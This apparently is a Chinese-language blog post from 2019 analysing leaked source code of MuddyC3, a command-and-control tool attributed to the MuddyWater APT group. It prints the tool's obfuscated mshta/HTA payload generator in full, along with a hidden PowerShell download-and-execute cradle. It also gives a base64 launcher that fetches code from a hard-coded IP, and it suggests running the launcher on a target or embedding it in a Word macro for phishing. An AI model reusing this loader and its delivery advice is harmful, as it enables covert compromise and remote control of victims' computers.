APT組織武器:MuddyC3泄露程式碼分析

  • 2019 年 11 月 6 日
  • 筆記

微信公眾號:七夜安全部落格 關注資訊安全技術、關注 系統底層原理。問題或建議,請公眾號留言。

MuddyC3簡介

MuddyC3是MuddyWater組織自研的滲透工具,基於Python的B/S架構。安全研究人員在Github上發布了相關惡意樣本和反編譯的源碼,從程式碼的完整度和功能上,看出應該是早期版本,版本為1.0.0。

GitHub 地址:https://github.com/0xffff0800/muddyc3

再說一些這個apt組織,MuddyWater被普遍認為是一個來自中東地區的,長期活躍的APT組織。從2019年2月到4月,該組織發起了一系列針對土耳其、伊朗、阿富汗、伊拉克、塔吉克和亞塞拜然的政府、教育機構、金融、電信和國防公司的網路釣魚電子郵件攻擊。

APT組織總是給人一種神秘強大的感覺,但並不意味著高不可及,無法觸摸。本文就簡要分析一下MuddyC3的程式碼,其實咱們也可以做到。

基本結構

MuddyC3 v1.0.0的程式碼量不大,結構還是比較清晰的,是個傳統的B/S架構。控制端是基於web.py的服務端,而被控端使用了多種payload對機器進行控制,並和控制端進行http通訊。

程式碼結構中:

  • muddyc3.py用來啟動web端,並顯示命令參數和功能
  • core目錄下是核心程式碼,主要包括交互命令,加密以及web服務。
  • lib目錄下的web是web.py的庫程式碼,prettytable.py是用來列印表格。

muddyc3.py

分為兩部分功能:

1.生成被控端的木馬payload,用戶填入C&C伺服器的ip和port,是基於powershell的,用於無文件攻擊用戶電腦.

2.啟動webserver,與被控端進行通訊,並在命令行接受黑客下一步的指令。

core核心程式碼

講解一下core目錄下的cmd.py和webserver.py文件。cmd.py中介紹了6種命令,但其中show命令沒有實現。list命令用於列舉所有的受控端,use命令用來與受控端進行交互。

HELPCOMMANDS = [          ['exit','Exit the console'],          ['list','List all agents'],          ['help','Help menu'],          ['show','Show Command and Controler variables'],          ['use','Interact with AGENT'],          ['back','Back to the main']          ]

list命令主要列舉受控端的用戶名,機器名,系統版本以及內外網ip。

webserver實現了多種http介面,用來和受控端交互。受控端可以從服務端獲取多種payload(可以加密),上傳,下載文件,命令執行,以及保持心跳。

其中mshta.exe的payload比較有意思,還做了一些簡單加密和混淆,防止進行安全人員進行解析。

class mshta:      def GET(self):          ip = web.ctx.ip          p_out = '[+] New Agent Request PAYLOAD (%s)'%(ip)          print bcolors.OKGREEN + p_out + bcolors.ENDC          code = '''  <html>  <head>  <script language="JScript">  window.resizeTo(1, 1);  window.moveTo(-2000, -2000);  window.blur();    try  {      window.onfocus = function() { window.blur(); }      window.onerror = function(sMsg, sUrl, sLine) { return false; }  }  catch (e){}    function replaceAll(find, replace, str)  {    while( str.indexOf(find) > -1)    {      str = str.replace(find, replace);    }    return str;  }  function bas( string )      {          string = replaceAll(']','=',string);          string = replaceAll('[','a',string);          string = replaceAll(',','b',string);          string = replaceAll('@','D',string);          string = replaceAll('-','x',string);          string = replaceAll('~','N',string);          string = replaceAll('*','E',string);          string = replaceAll('%','C',string);          string = replaceAll('$','H',string);          string = replaceAll('!','G',string);          string = replaceAll('{','K',string);          string = replaceAll('}','O',string);          var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";          var result     = '';            var i = 0;          do {              var b1 = characters.indexOf( string.charAt(i++) );              var b2 = characters.indexOf( string.charAt(i++) );              var b3 = characters.indexOf( string.charAt(i++) );              var b4 = characters.indexOf( string.charAt(i++) );                var a = ( ( b1 & 0x3F ) << 2 ) | ( ( b2 >> 4 ) & 0x3 );              var b = ( ( b2 & 0xF  ) << 4 ) | ( ( b3 >> 2 ) & 0xF );              var c = ( ( b3 & 0x3  ) << 6 ) | ( b4 & 0x3F );                result += String.fromCharCode(a) + (b?String.fromCharCode(b):'') + (c?String.fromCharCode(c):'');            } while( i < string.length );            return result;      }    var es = '{code}';  eval(bas(es));  </script>  <hta:application caption="no" showInTaskBar="no" windowState="minimize" navigable="no" scroll="no" />  </head>  <body>  </body>  </html>    '''      js = '''    var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://{ip}:{port}/get'));";  var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');  w32ps.SpawnInstance_();  w32ps.ShowWindow=0;  var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);  '''      js = js.replace('{ip}',config.IP).replace('{port}',config.PORT)      js = js.encode('base64').replace('n','')      re = [[']','='],['[','a'],[',','b'],['@','D'],['-','x'],['~','N'],['*','E'],['%','C'],['$','H'],['!','G'],['{','K'],['}','O']]      for i in re:          js = js.replace(i[1],i[0])          return code.replace('{code}',js)

運行一下

將下面列印出來的powershell payload在目標機器上運行一下,就會被控制。可以將程式碼放到word宏中,釣魚執行。

Start-Process powershell -ArgumentList  "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]  ::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVt  OZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGl  hbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG9  3bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMTMuOTcuMzUuMTU4OjgwMDEvZ2V0Jyk7SUVYKCRzKQ==')))"   -WindowStyle Hidden

Tags: